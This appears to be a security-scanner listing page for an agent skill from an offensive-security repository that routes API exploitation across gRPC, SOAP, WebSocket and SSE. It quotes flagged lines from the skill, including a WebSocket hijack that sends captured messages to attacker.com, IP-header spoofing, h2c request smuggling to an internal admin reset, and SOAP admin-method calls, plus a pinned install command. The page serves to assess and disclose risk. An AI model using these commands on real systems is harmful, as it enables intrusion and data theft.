← All skills
api-overview
75 / 100 · Review before installing
Check before installing. Some of what it can do is expected: a coding skill usually runs build and test commands.
By BitterSecurity/Decepticon (GitHub) · coding · 6,581 stars · scanned at commit bdb1016
Modern API category — gRPC, SOAP/WSDL, WebSocket, Server-Sent Events. Routing skill: identify the API protocol from the response Content-Type or wire format, then load the matching sub-skill.
Works with any agent that supports SKILL.md skills.
What this skill can do
Sends data to these websites: target, api.target, attacker.com
The author does not mention this.
Found in 18 places.
Show 15 more
- packages/decepticon/decepticon/skills/standard/exploit/api/SKILL.md, line 36
curl -sk -I -H "Connection: Upgrade" -H "Upgrade: websocket" https://target/ws | head -1 - packages/decepticon/decepticon/skills/standard/exploit/api/SKILL.md, line 40
curl -sk -i https://target/stream -H "Accept: text/event-stream" | grep 'text/event-stream' - packages/decepticon/decepticon/skills/standard/exploit/api/grpc/SKILL.md, line 18
curl -s -I --http2 https://api.target/svc/method | grep -iE 'content-type|alt-svc' - packages/decepticon/decepticon/skills/standard/exploit/api/grpc/SKILL.md, line 80
curl https://target/grpc-web/upstream/127.0.0.1:50051/AdminService/Reset - packages/decepticon/decepticon/skills/standard/exploit/api/server-sent-events/SKILL.md, line 19
curl -sk -i https://target/stream -H "Accept: text/event-stream" | head - packages/decepticon/decepticon/skills/standard/exploit/api/server-sent-events/SKILL.md, line 71
curl -sk -N https://target/stream - packages/decepticon/decepticon/skills/standard/exploit/api/server-sent-events/SKILL.md, line 76
r = requests.get("https://target/stream", stream=True, headers={"Accept":"text/event-stream"}) - packages/decepticon/decepticon/skills/standard/exploit/api/soap-wsdl/SKILL.md, line 20
curl -sk "https://target/Service.asmx?wsdl" | xmllint --format - - packages/decepticon/decepticon/skills/standard/exploit/api/soap-wsdl/SKILL.md, line 21
curl -sk "https://target/Service.svc?wsdl" | xmllint --format - - packages/decepticon/decepticon/skills/standard/exploit/api/soap-wsdl/SKILL.md, line 33
curl -sk -X POST -H "Content-Type: text/xml" -H 'SOAPAction: ""' \ - packages/decepticon/decepticon/skills/standard/exploit/api/soap-wsdl/SKILL.md, line 46
curl -sk -X POST -d @ws-attack.xml https://target/svc - packages/decepticon/decepticon/skills/standard/exploit/api/soap-wsdl/SKILL.md, line 82
curl -X POST -H 'SOAPAction: "http://target/AdminMethod"' \ - packages/decepticon/decepticon/skills/standard/exploit/api/websocket/SKILL.md, line 20
curl -sk -i \ - packages/decepticon/decepticon/skills/standard/exploit/api/websocket/SKILL.md, line 38
const ws = new WebSocket("wss://target/ws"); - packages/decepticon/decepticon/skills/standard/exploit/api/websocket/SKILL.md, line 39
ws.onmessage = e => fetch("https://attacker.com/x?d=" + btoa(e.data));
Runs commands on your computer
The author does not mention this. Expected for a coding skill.
Found in 20 places.
Show 17 more
- packages/decepticon/decepticon/skills/standard/exploit/api/grpc/SKILL.md, line 46
echo '{"id": 1, "1000000": "hidden field"}' | \ - packages/decepticon/decepticon/skills/standard/exploit/api/grpc/SKILL.md, line 54
grpcurl -plaintext -H "x-real-ip: 127.0.0.1" -H "x-forwarded-for: 127.0.0.1" \ - packages/decepticon/decepticon/skills/standard/exploit/api/grpc/SKILL.md, line 63
python3 h2csmuggler.py -x https://front.target/ -t /AdminService.Reset http://internal-grpc:50051 - packages/decepticon/decepticon/skills/standard/exploit/api/grpc/SKILL.md, line 71
grpcurl -cacert ca.crt -cert legit.crt -key legit.key \ - packages/decepticon/decepticon/skills/standard/exploit/api/grpc/SKILL.md, line 80
curl https://target/grpc-web/upstream/127.0.0.1:50051/AdminService/Reset - packages/decepticon/decepticon/skills/standard/exploit/api/grpc/SKILL.md, line 87
grpcurl -plaintext target:50051 describe -msg-template > schema.txt - packages/decepticon/decepticon/skills/standard/exploit/api/server-sent-events/SKILL.md, line 19
curl -sk -i https://target/stream -H "Accept: text/event-stream" | head - packages/decepticon/decepticon/skills/standard/exploit/api/server-sent-events/SKILL.md, line 71
curl -sk -N https://target/stream - packages/decepticon/decepticon/skills/standard/exploit/api/soap-wsdl/SKILL.md, line 20
curl -sk "https://target/Service.asmx?wsdl" | xmllint --format - - packages/decepticon/decepticon/skills/standard/exploit/api/soap-wsdl/SKILL.md, line 33
curl -sk -X POST -H "Content-Type: text/xml" -H 'SOAPAction: ""' \ - packages/decepticon/decepticon/skills/standard/exploit/api/soap-wsdl/SKILL.md, line 46
curl -sk -X POST -d @ws-attack.xml https://target/svc - packages/decepticon/decepticon/skills/standard/exploit/api/soap-wsdl/SKILL.md, line 82
curl -X POST -H 'SOAPAction: "http://target/AdminMethod"' \ - packages/decepticon/decepticon/skills/standard/exploit/api/soap-wsdl/SKILL.md, line 91
soapui --gui # or non-GUI: testrunner.sh - packages/decepticon/decepticon/skills/standard/exploit/api/websocket/SKILL.md, line 20
curl -sk -i \ - packages/decepticon/decepticon/skills/standard/exploit/api/websocket/SKILL.md, line 50
wscat -c "wss://target/ws?token=lowpriv_jwt" - packages/decepticon/decepticon/skills/standard/exploit/api/websocket/SKILL.md, line 69
wscat -c wss://target/ws -H "Authorization: bearer $TOKEN" -x '{"op":"PLACEHOLDER","args":{}}' - packages/decepticon/decepticon/skills/standard/exploit/api/websocket/SKILL.md, line 78
npm install -g wscat
Downloads and installs other software
The author does not mention this.
Found in 1 place.
Safer alternatives
Low-risk skills in the same category (coding) that look related. Check that one does what you need.
Install
Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.
if [ -e ~/.agents/skills/'api-overview' ] || [ -L ~/.agents/skills/'api-overview' ]; then echo 'A skill folder named api-overview already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/BitterSecurity/Decepticon' "$d" && git -C "$d" checkout --quiet 'bdb1016c93ed687f61ac57481da298c25a47c8f5' -- 'packages/decepticon/decepticon/skills/standard/exploit/api' && mkdir -p ~/.agents/skills && cp -R "$d"/'packages/decepticon/decepticon/skills/standard/exploit/api' ~/.agents/skills/'api-overview' && rm -rf "$d"; fi
Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'api-overview' ~/.claude/skills/'api-overview' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.
Badge for your README
The badge for BitterSecurity/Decepticon shows the score of its lowest-scoring skill.
[](https://zalavijaysinh.github.io/skilltrust/repos/BitterSecurity/Decepticon/)
Score history
| Date | Version | Score |
|---|
| 2026-11-11 | bdb1016 | 75 |
| 2026-11-08 | df87955 | 75 |